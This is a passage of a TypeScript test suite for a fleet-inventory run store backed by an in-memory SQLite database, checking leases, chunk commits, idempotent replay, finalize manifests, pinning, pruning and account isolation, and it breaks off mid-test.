+const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000';
+const SECOND_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174001';
+const THIRD_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174002';
+const OPTIONS = canonicalFleetInventoryRunOptions({
+  hostRoutingKvId: 'kv-host-routing',
+  databaseNamePrefix: 'anchorage-db',
+  scriptNamePrefix: 'anchorage',
+});
+const DIGEST = fleetInventoryOptionsDigest(OPTIONS);
+const OTHER_OPTIONS = canonicalFleetInventoryRunOptions({
+  databaseNamePrefix: 'anchorage-db',
+  scriptNamePrefix: 'anchorage',
+});
+const OTHER_DIGEST = fleetInventoryOptionsDigest(OTHER_OPTIONS);
+const TABLES = [
+  'anchorage_fleet_inventory_deployment_facts',
+  'anchorage_fleet_inventory_heads',
+  'anchorage_fleet_inventory_leases',
+  'anchorage_fleet_inventory_pins',
+  'anchorage_fleet_inventory_rows',
+  'anchorage_fleet_inventory_runs',
+];
+
+function newStore(
+  db: MemoryD1,
+  accountId = 'account-primary',
+): D1FleetInventoryRunStore {
+  return new D1FleetInventoryRunStore(db, { accountId });
+}
+
+function stagedRow(
+  kind: FleetInventoryRowKind,
+  ordinal: number,
+  payload: Readonly<Record<string, unknown>>,
+): FleetInventoryStagedRow {
+  return { kind, ordinal, payload };
+}
+
+function stagedFact(
+  deploymentOrdinal: number,
+  factOrdinal: number,
+): FleetInventoryStagedFact {
+  return {
+    deploymentOrdinal,
+    factKind: 'secret-name',
+    factOrdinal,
+    payload: { name: `ANCHORAGE_NAME_${factOrdinal}` },
+  };
+}
+
+function countsOf(
+  rows: readonly FleetInventoryStagedRow[],
+): Record<FleetInventoryRowKind, number> {
+  const counts = emptyFleetInventoryRowCounts() as Record<
+    FleetInventoryRowKind,
+    number
+  >;
+  for (const row of rows) counts[row.kind] += 1;
+  return counts;
+}
+
+function committed(
+  record: FleetInventoryRunRecord,
+  rows: readonly FleetInventoryStagedRow[],
+  facts: readonly FleetInventoryStagedFact[],
+  stage: FleetInventoryStage = { step: 'finalize' },
+): FleetInventoryRunRecord {
+  return {
+    ...record,
+    progress: {
+      ...record.progress,
+      stage,
+      revision: record.progress.revision + 1,
+      stagedCounts: countsOf(rows),
+      factCount: facts.length,
+      providerRequests: record.progress.providerRequests + 1,
+    },
+    updatedAt: '2026-08-29T00:00:00.000Z',
+  };
+}
+
+function start(
+  lease: FleetInventoryLease,
+  operationId = OPERATION_ID,
+): Promise<FleetInventoryRunRecord> {
+  return lease.startRun({
+    operationId,
+    options: OPTIONS,
+    optionsDigest: DIGEST,
+  });
+}
+
+const DEFAULT_ROWS = [
+  stagedRow('registration', 0, { scriptName: 'anchorage-tenant-prod' }),
+  stagedRow('deployment', 0, { scriptName: 'anchorage-tenant-prod' }),
+  stagedRow('finding', 0, { detail: 'stale route for anchorage-tenant-prod' }),
+];
+const DEFAULT_FACTS = [stagedFact(0, 0), stagedFact(0, 1)];
+/** Generations read back in `(kind, ordinal)` order, the store's read order. */
+const DEFAULT_ROWS_READ_ORDER = [...DEFAULT_ROWS].sort((left, right) =>
+  left.kind === right.kind
+    ? left.ordinal - right.ordinal
+    : left.kind < right.kind
+      ? -1
+      : 1,
+);
+
+async function seedGeneration(
+  store: D1FleetInventoryRunStore,
+  operationId = OPERATION_ID,
+  rows: readonly FleetInventoryStagedRow[] = DEFAULT_ROWS,
+  facts: readonly FleetInventoryStagedFact[] = DEFAULT_FACTS,
+): Promise<number> {
+  return store.withAccountInventoryLease(async (lease) => {
+    const started = await start(lease, operationId);
+    const record = await lease.commitChunk({
+      operationId,
+      expectedRevision: started.progress.revision,
+      runRecord: committed(started, rows, facts),
+      rows,
+      facts,
+    });
+    const ref = await lease.finalizeRun({
+      operationId,
+      expectedRevision: record.progress.revision,
+      manifest: record.progress.stagedCounts,
+      factCount: record.progress.factCount,
+    });
+    return ref.generation;
+  });
+}
+
+async function refusal(operation: Promise<unknown>): Promise<Error> {
+  try {
+    await operation;
+  } catch (error) {
+    return error as Error;
+  }
+  throw new Error('operation unexpectedly resolved');
+}
+
+function inventoryState(db: MemoryD1): unknown {
+  return TABLES.filter((table) => !table.endsWith('_leases')).map((table) =>
+    db.sqlite.prepare(`SELECT * FROM ${table} ORDER BY rowid`).all(),
+  );
+}
+
+describe('D1FleetInventoryRunStore', () => {
+  it('persists R2 availability separately from an empty bucket inventory', async () => {
+    const store = newStore(new MemoryD1());
+    const empty = await seedGeneration(store, OPERATION_ID, [], []);
+    await store.pinGeneration({
+      generation: empty,
+      pinnedBy: 'availability-test',
+    });
+    const unavailable = await seedGeneration(
+      store,
+      SECOND_OPERATION_ID,
+      [
+        stagedRow('meta', 0, {
+          record: 'unavailable-r2-jurisdiction',
+          jurisdiction: 'fedramp',
+        }),
+      ],
+      [],
+    );
+    const emptyState = await store.readFinalizedGeneration(empty);
+    const unavailableState = await store.readFinalizedGeneration(unavailable);
+    expect(JSON.stringify(unavailableState.rows)).not.toBe(
+      JSON.stringify(emptyState.rows),
+    );
+    const materialize = (state: typeof emptyState) =>
+      materializeFleetInventoryGeneration({ ...state, options: OPTIONS });
+    expect(materialize(emptyState).unavailableR2Jurisdictions).toEqual([]);
+    expect(materialize(unavailableState).unavailableR2Jurisdictions).toEqual([
+      'fedramp',
+    ]);
+    expect(
+      Object.isFrozen(materialize(unavailableState).unavailableR2Jurisdictions),
+    ).toBe(true);
+  });
+
+  it('creates the six inventory tables, verifies every column, and fails closed on drift', async () => {
+    const db = new MemoryD1();
+    await newStore(db).latestFinalizedGeneration();
+    const tables = db.sqlite
+      .prepare(
+        `SELECT name FROM sqlite_master
+          WHERE type = 'table' AND name LIKE 'anchorage_fleet_inventory_%'
+          ORDER BY name`,
+      )
+      .all()
+      .map((row) => String(row.name));
+    expect(tables).toEqual(TABLES);
+    const heads = db.sqlite
+      .prepare('PRAGMA table_info(anchorage_fleet_inventory_heads)')
+      .all()
+      .map((row) => `${String(row.name)}:${String(row.type)}`);
+    expect(heads).toEqual([
+      'account_id:TEXT',
+      'active_operation_id:TEXT',
+      'latest_finalized_generation:INTEGER',
+      'next_generation:INTEGER',
+    ]);
+
+    const drifted = new MemoryD1();
+    drifted.sqlite.exec(`CREATE TABLE anchorage_fleet_inventory_pins (
+      account_id TEXT NOT NULL,
+      generation TEXT NOT NULL,
+      pinned_by TEXT NOT NULL,
+      pinned_at_ms INTEGER NOT NULL,
+      PRIMARY KEY (account_id, generation, pinned_by)
+    )`);
+    const error = await refusal(newStore(drifted).latestFinalizedGeneration());
+    expect(error.message).toBe(
+      "fleet inventory table 'anchorage_fleet_inventory_pins' column 'generation' is absent or incompatible",
+    );
+  });
+
+  it('allocates a generation and claims the head when a run starts', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const started = await store.withAccountInventoryLease((lease) =>
+      start(lease),
+    );
+    expect(started).toMatchObject({
+      version: 1,
+      operationId: OPERATION_ID,
+      optionsDigest: DIGEST,
+      state: 'staging',
+    });
+    expect(started.progress.generation).toBe(1);
+    expect(started.progress.stage).toEqual({ step: 'host-kv-keys' });
+    expect(
+      db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(),
+    ).toEqual([
+      {
+        account_id: 'account-primary',
+        active_operation_id: OPERATION_ID,
+        latest_finalized_generation: null,
+        next_generation: 2,
+      },
+    ]);
+  });
+
+  it('treats a replayed start as a no-op returning the same run', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const first = await store.withAccountInventoryLease((lease) =>
+      start(lease),
+    );
+    const replay = await store.withAccountInventoryLease((lease) =>
+      start(lease),
+    );
+    expect(replay).toEqual(first);
+    expect(
+      db.sqlite
+        .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_runs')
+        .all(),
+    ).toEqual([{ count: 1 }]);
+    expect(
+      db.sqlite
+        .prepare('SELECT next_generation FROM anchorage_fleet_inventory_heads')
+        .all(),
+    ).toEqual([{ next_generation: 2 }]);
+  });
+
+  it('conflicts when a start replays with a different options digest', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease((lease) => start(lease));
+    const error = await refusal(
+      store.withAccountInventoryLease((lease) =>
+        lease.startRun({
+          operationId: OPERATION_ID,
+          options: OTHER_OPTIONS,
+          optionsDigest: OTHER_DIGEST,
+        }),
+      ),
+    );
+    expect(error.message).toBe(
+      `fleet inventory run '${OPERATION_ID}' was started with different options`,
+    );
+  });
+
+  it('contends when another operation already owns the head', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease((lease) => start(lease));
+    const error = await refusal(
+      store.withAccountInventoryLease((lease) =>
+        start(lease, SECOND_OPERATION_ID),
+      ),
+    );
+    expect(error.message).toBe(
+      `fleet inventory for account 'account-primary' has an active operation other than '${SECOND_OPERATION_ID}'`,
+    );
+    expect(
+      db.sqlite
+        .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_runs')
+        .all(),
+    ).toEqual([{ count: 1 }]);
+  });
+
+  it('refuses a chunk commit at a stale revision', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const error = await refusal(
+      store.withAccountInventoryLease(async (lease) => {
+        const started = await start(lease);
+        const first = {
+          operationId: OPERATION_ID,
+          expectedRevision: started.progress.revision,
+          runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS, {
+            step: 'ordinary-scripts',
+          }),
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        };
+        const record = await lease.commitChunk(first);
+        const trailing = stagedRow('meta', 0, { stage: 'finalize' });
+        await lease.commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: record.progress.revision,
+          runRecord: committed(
+            record,
+            [...DEFAULT_ROWS, trailing],
+            DEFAULT_FACTS,
+          ),
+          rows: [trailing],
+          facts: [],
+        });
+        return lease.commitChunk(first);
+      }),
+    );
+    expect(error.message).toBe(
+      `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+  });
+
+  it('converges when a chunk commit replays byte-identically', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const converged = await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: started.progress.revision,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      };
+      db.hideBatchResults = true;
+      const first = await lease.commitChunk(input);
+      const second = await lease.commitChunk(input);
+      return { first, second };
+    });
+    expect(converged.second).toEqual(converged.first);
+    expect(
+      db.sqlite
+        .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_rows')
+        .all(),
+    ).toEqual([{ count: DEFAULT_ROWS.length }]);
+  });
+
+  it('raises corruption when a chunk commit replays with divergent bytes', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const error = await refusal(
+      store.withAccountInventoryLease(async (lease) => {
+        const started = await start(lease);
+        const input = {
+          operationId: OPERATION_ID,
+          expectedRevision: started.progress.revision,
+          runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        };
+        db.hideBatchResults = true;
+        await lease.commitChunk(input);
+        return lease.commitChunk({
+          ...input,
+          rows: [
+            stagedRow('registration', 0, { scriptName: 'other-script' }),
+            ...DEFAULT_ROWS.slice(1),
+          ],
+        });
+      }),
+    );
+    expect(error.message).toBe(
+      `fleet inventory run '${OPERATION_ID}' staged rows diverge from the persisted generation`,
+    );
+  });
+
+  it('validates the manifest inside the finalize batch', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const generation = await seedGeneration(store);
+    expect(generation).toBe(1);
+    const ref = await store.latestFinalizedGeneration();
+    expect(ref).toMatchObject({
+      generation: 1,
+      operationId: OPERATION_ID,
+      factCount: DEFAULT_FACTS.length,
+    });
+    expect(ref?.rowManifest).toEqual(countsOf(DEFAULT_ROWS));
+    expect(ref?.finalizedAtMs).toBeGreaterThan(0);
+    const readback = await store.readFinalizedGeneration(1);
+    expect(readback.rows).toEqual(DEFAULT_ROWS_READ_ORDER);
+    expect(readback.facts).toEqual(DEFAULT_FACTS);
+  });
+
+  it('leaves the run staging when the finalize manifest mismatches', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const error = await refusal(
+      store.withAccountInventoryLease(async (lease) => {
+        const started = await start(lease);
+        // The persisted record claims more findings than the rows it staged, so
+        // the in-SQL count guard is the control under test.
+        const overstated = committed(started, DEFAULT_ROWS, DEFAULT_FACTS);
+        const record = await lease.commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: started.progress.revision,
+          runRecord: {
+            ...overstated,
+            progress: {
+              ...overstated.progress,
+              stagedCounts: { ...overstated.progress.stagedCounts, finding: 9 },
+            },
+          },
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        });
+        return lease.finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: record.progress.revision,
+          manifest: record.progress.stagedCounts,
+          factCount: record.progress.factCount,
+        });
+      }),
+    );
+    expect(error.message).toBe(
+      `fleet inventory run '${OPERATION_ID}' does not match its finalize manifest`,
+    );
+    const run = await newStore(db).readRunByOperation(OPERATION_ID);
+    expect(run?.state).toBe('staging');
+    expect(await newStore(db).latestFinalizedGeneration()).toBeUndefined();
+  });
+
+  it('converges by readback when finalize replays on a finalized run', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const refs = await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const record = await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: started.progress.revision,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: record.progress.revision,
+        manifest: record.progress.stagedCounts,
+        factCount: record.progress.factCount,
+      };
+      db.hideBatchResults = true;
+      const first = await lease.finalizeRun(input);
+      const replay = await lease.finalizeRun(input);
+      return { first, replay };
+    });
+    expect(refs.replay).toEqual(refs.first);
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT latest_finalized_generation AS latest, active_operation_id AS active FROM anchorage_fleet_inventory_heads',
+        )
+        .all(),
+    ).toEqual([{ latest: 1, active: null }]);
+  });
+
+  it('refuses staging bytes from a fenced-out writer and keeps the payload clean', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    // The lease escapes its callback, so its token is no longer live: exactly
+    // the stale-lease writer the guarded inserts must fence out.
+    const fenced = await store.withAccountInventoryLease(async (lease) => {
+      await start(lease);
+      return lease;
+    });
+    const poisoned = [
+      stagedRow('registration', 0, { scriptName: 'poisoned' }),
+      ...DEFAULT_ROWS.slice(1),
+    ];
+    const started = await store.readRunByOperation(OPERATION_ID);
+    if (!started) throw new Error('run missing');
+    const error = await refusal(
+      fenced.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: started.progress.revision,
+        runRecord: committed(started, poisoned, DEFAULT_FACTS),
+        rows: poisoned,
+        facts: DEFAULT_FACTS,
+      }),
+    );
+    expect(error.message).toBe(
+      `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+    expect(
+      db.sqlite
+        .prepare(
+          `SELECT
+             (SELECT COUNT(*) FROM anchorage_fleet_inventory_rows) AS rows,
+             (SELECT COUNT(*) FROM anchorage_fleet_inventory_deployment_facts) AS facts`,
+        )
+        .all(),
+    ).toEqual([{ rows: 0, facts: 0 }]);
+    expect(
+      (await store.readRunByOperation(OPERATION_ID))?.progress.revision,
+    ).toBe(started.progress.revision);
+
+    const generation = await store.withAccountInventoryLease(async (lease) => {
+      const record = await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: started.progress.revision,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+      const ref = await lease.finalizeRun({
+        operationId: OPERATION_ID,
+        expectedRevision: record.progress.revision,
+        manifest: record.progress.stagedCounts,
+        factCount: record.progress.factCount,
+      });
+      return ref.generation;
+    });
+    expect((await store.readFinalizedGeneration(generation)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+  });
+
+  it('refuses a finalize whose caller manifest disagrees with the persisted run record', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const error = await refusal(
+      store.withAccountInventoryLease(async (lease) => {
+        const started = await start(lease);
+        const record = await lease.commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: started.progress.revision,
+          runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        });
+        return lease.finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: record.progress.revision,
+          manifest: { ...record.progress.stagedCounts, finding: 0 },
+          factCount: record.progress.factCount,
+        });
+      }),
+    );
+    expect(error.message).toBe(
+      `fleet inventory run '${OPERATION_ID}' finalize manifest disagrees with the persisted run record`,
+    );
+    expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe(
+      'staging',
+    );
+    expect(await store.latestFinalizedGeneration()).toBeUndefined();
+  });
+
+  it('does not re-claim the head or burn a generation when a start replays for a completed run', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store, OPERATION_ID);
+    const finalizedReplay = await store.withAccountInventoryLease((lease) =>
+      start(lease, OPERATION_ID),
+    );
+    expect(finalizedReplay.state).toBe('finalized');
+    expect(finalizedReplay.progress.generation).toBe(1);
+
+    const failed = await store.withAccountInventoryLease(async (lease) => {
+      const record = await start(lease, SECOND_OPERATION_ID);
+      await lease.failRun({
+        operationId: SECOND_OPERATION_ID,
+        expectedRevision: record.progress.revision,
+        reason: 'operator-abandoned',
+      });
+      return record;
+    });
+    expect(failed.progress.generation).toBe(2);
+    const failedReplay = await store.withAccountInventoryLease((lease) =>
+      start(lease, SECOND_OPERATION_ID),
+    );
+    expect(failedReplay.state).toBe('failed');
+    expect(
+      db.sqlite
+        .prepare(
+          `SELECT active_operation_id AS active, next_generation AS next
+             FROM anchorage_fleet_inventory_heads`,
+        )
+        .all(),
+    ).toEqual([{ active: null, next: 3 }]);
+
+    const fresh = await store.withAccountInventoryLease((lease) =>
+      start(lease, THIRD_OPERATION_ID),
+    );
+    expect(fresh.progress.generation).toBe(3);
+  });
+
+  it('releases the head when a run fails', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      await lease.failRun({
+        operationId: OPERATION_ID,
+        expectedRevision: started.progress.revision,
+        reason: 'operator-abandoned',
+      });
+    });
+    expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe(
+      'failed',
+    );
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT active_operation_id AS active FROM anchorage_fleet_inventory_heads',
+        )
+        .all(),
+    ).toEqual([{ active: null }]);
+    const next = await store.withAccountInventoryLease((lease) =>
+      start(lease, SECOND_OPERATION_ID),
+    );
+    expect(next.progress.generation).toBe(2);
+  });
+
+  it('refuses to pin a generation that is not finalized', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease((lease) => start(lease));
+    const error = await refusal(
+      store.pinGeneration({ generation: 1, pinnedBy: 'audit' }),
+    );
+    expect(error.message).toBe('fleet inventory generation 1 is not finalized');
+    expect(
+      db.sqlite
+        .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_pins')
+        .all(),
+    ).toEqual([{ count: 0 }]);
+  });
+
+  it('refuses to read an unpinned non-latest generation', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store, OPERATION_ID);
+    await seedGeneration(
+      store,
+      SECOND_OPERATION_ID,
+      [stagedRow('meta', 0, { stage: 'finalize' })],
+      [],
+    );
+    const error = await refusal(store.readFinalizedGeneration(1));
+    expect(error.message).toBe(
+      'fleet inventory generation 1 requires a pin before it can be read',
+    );
+    await store.pinGeneration({ generation: 1, pinnedBy: 'audit' });
+    expect((await store.readFinalizedGeneration(1)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+    await store.releasePin({ generation: 1, pinnedBy: 'audit' });
+    expect((await refusal(store.readFinalizedGeneration(1))).message).toBe(
+      'fleet inventory generation 1 requires a pin before it can be read',
+    );
+  });
+
+  it('validates the prune limit', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    for (const limit of [0, 1_001, 1.5]) {
+      expect(
+        (await refusal(store.pruneInventoryGenerations({ limit }))).message,
+      ).toBe('limit must be an integer from 1 to 1000');
+    }
+    await expect(
+      store.pruneInventoryGenerations({ limit: 1_000 }),
+    ).resolves.toEqual({ deleted: 0 });
+  });
+
+  it('protects the latest and pinned generations from pruning', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store, OPERATION_ID);
+    await seedGeneration(
+      store,
+      SECOND_OPERATION_ID,
+      [stagedRow('meta', 0, { stage: 'finalize' })],
+      [],
+    );
+    await seedGeneration(
+      store,
+      THIRD_OPERATION_ID,
+      [stagedRow('meta', 0, { stage: 'finalize' })],
+      [],
+    );
+    await store.pinGeneration({ generation: 1, pinnedBy: 'audit' });
+    expect(await store.pruneInventoryGenerations({ limit: 10 })).toEqual({
+      deleted: 1,
+    });
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT generation FROM anchorage_fleet_inventory_runs ORDER BY generation',
+        )
+        .all()
+        .map((row) => Number(row.generation)),
+    ).toEqual([1, 3]);
+    expect((await store.readFinalizedGeneration(1)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+    await store.releasePin({ generation: 1, pinnedBy: 'audit' });
+    expect(await store.pruneInventoryGenerations({ limit: 10 })).toEqual({
+      deleted: 1,
+    });
+    expect(
+      db.sqlite
+        .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_rows')
+        .all(),
+    ).toEqual([{ count: 1 }]);
+  });
+
+  it('refuses a store pin or prune wrapper called inside an open lease', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    const errors = await store.withAccountInventoryLease(async () => [
+      await refusal(store.pinGeneration({ generation: 1, pinnedBy: 'audit' })),
+      await refusal(store.pruneInventoryGenerations({ limit: 1 })),
+    ]);
+    for (const error of errors) {
+      expect(error.message).toBe(
+        "fleet inventory for account 'account-primary' is already being modified",
+      );
+    }
+  });
+
+  it('leaves a foreign account inventory untouchable', async () => {
+    const db = new MemoryD1();
+    const primary = newStore(db);
+    const foreign = newStore(db, 'account-foreign');
+    await seedGeneration(primary);
+    expect(await foreign.latestFinalizedGeneration()).toBeUndefined();
+    expect(await foreign.readRunByOperation(OPERATION_ID)).toBeUndefined();
+    expect((await refusal(foreign.readFinalizedGeneration(1))).message).toBe(
+      'fleet inventory generation 1 requires a pin before it can be read',
+    );
+    expect(await foreign.pruneInventoryGenerations({ limit: 10 })).toEqual({
+      deleted: 0,
+    });
+    expect((await primary.readFinalizedGeneration(1)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+  });
+
+  it('accepts a base64-shaped resumption cursor and rejects a credential-shaped one', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const cursor = 'AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8g';
+    const record = await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      return lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: started.progress.revision,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS, {
+          step: 'ordinary-scripts',
+          cursor,
+        }),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+    });
+    expect(record.progress.stage).toEqual({ step: 'ordinary-scripts', cursor });
+    const persisted = db.sqlite
+      .prepare('SELECT run_record FROM anchorage_fleet_inventory_runs')
+      .all()
+      .map((row) => String(row.run_record));
+    expect(persisted[0]).toContain(cursor);
+    const staged = db.sqlite
+      .prepare(
+        `SELECT payload FROM anchorage_fleet_inventory_rows
+         UNION ALL
+         SELECT payload FROM anchorage_fleet_inventory_deployment_facts`,
+      )
+      .all()
+      .map((row) => String(row.payload));
+    for (const payload of staged) expect(payload).not.toContain(cursor);
+    const error = await refusal(
+      store.withAccountInventoryLease((lease) =>
+        lease.commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: record.progress.revision,
+          runRecord: committed(record, DEFAULT_ROWS, DEFAULT_FACTS, {
+            step: 'ordinary-scripts',
+            cursor: 'Bearer eyJhbGciOiJIUzI1NiJ9',
+          }),
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        }),
+      ),
+    );
+    expect(error).toBeInstanceOf(FleetInventoryFindingValueError);
+  });
+});
+
+describe('inventory chunk identity and immutable staging', () => {
+  it.each([
+    'failed',
+    'finalized',
+    'different record',
+  ] as const)('refuses replay against a same-revision %s run before comparing payloads', async (state) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      };
+      const first = await lease.commitChunk(input);
+      if (state === 'failed') {
+        await lease.failRun({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          reason: 'operator-abandoned',
+        });
+      } else if (state === 'finalized') {
+        await lease.finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          manifest: first.progress.stagedCounts,
+          factCount: first.progress.factCount,
+        });
+      }
+      const intended =
+        state === 'different record'
+          ? { ...first, updatedAt: '2026-08-30T00:00:00.000Z' }
+          : first;
+      const before = inventoryState(db);
+      const result = await lease
+        .commitChunk({ ...input, runRecord: intended })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toEqual(
+        new Error(
+          `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+        ),
+      );
+      const divergent = await lease
+        .commitChunk({
+          ...input,
+          runRecord: intended,
+          rows: [stagedRow('registration', 0, { scriptName: 'divergent' })],
+        })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(divergent).toEqual(result);
+    });
+  });
+
+  it.each([
+    'row',
+    'fact',
+  ] as const)('rolls back mixed siblings on an immutable %s conflict', async (kind) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const first = await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+      const newRow = stagedRow('registration', 1, { scriptName: 'sibling' });
+      const newFact = stagedFact(0, 2);
+      const rows =
+        kind === 'row'
+          ? [newRow, stagedRow('registration', 0, { scriptName: 'divergent' })]
+          : [newRow];
+      const facts =
+        kind === 'fact'
+          ? [newFact, { ...stagedFact(0, 0), payload: { name: 'divergent' } }]
+          : [newFact];
+      const before = inventoryState(db);
+      const result = await lease
+        .commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          runRecord: committed(
+            first,
+            [...DEFAULT_ROWS, newRow],
+            [...DEFAULT_FACTS, newFact],
+          ),
+          rows,
+          facts,
+        })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toMatchObject({
+        code: 'ERR_SQLITE_ERROR',
+        message: expect.stringContaining('UNIQUE constraint failed'),
+      });
+    });
+  });
+
+  it.each([
+    'row',
+    'fact',
+  ] as const)('requires exact serialized %s payload bytes', async (kind) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const rows = [stagedRow('meta', 0, { first: 1, second: 2 })];
+      const facts = [{ ...stagedFact(0, 0), payload: { first: 1, second: 2 } }];
+      const first = await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, rows, facts),
+        rows,
+        facts,
+      });
+      const before = inventoryState(db);
+      const result = await lease
+        .commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          runRecord: committed(first, rows, facts),
+          rows:
+            kind === 'row'
+              ? [stagedRow('meta', 0, { second: 2, first: 1 })]
+              : rows,
+          facts:
+            kind === 'fact'
+              ? [{ ...stagedFact(0, 0), payload: { second: 2, first: 1 } }]
+              : facts,
+        })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toMatchObject({
+        message: expect.stringContaining('UNIQUE constraint failed'),
+      });
+    });
+  });
+
+  it.each([
+    'row exact',
+    'row different',
+    'fact exact',
+    'fact different',
+  ] as const)('rejects duplicate keys before SQL: %s', async (variant) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const rows = [stagedRow('registration', 0, { name: 'first' })];
+      const facts = [stagedFact(0, 0)];
+      if (variant.startsWith('row'))
+        rows.push(
+          stagedRow('registration', 0, {
+            name: variant.endsWith('exact') ? 'first' : 'second',
+          }),
+        );
+      else
+        facts.push({
+          ...stagedFact(0, 0),
+          payload: variant.endsWith('exact')
+            ? stagedFact(0, 0).payload
+            : { name: 'second' },
+        });
+      const before = inventoryState(db);
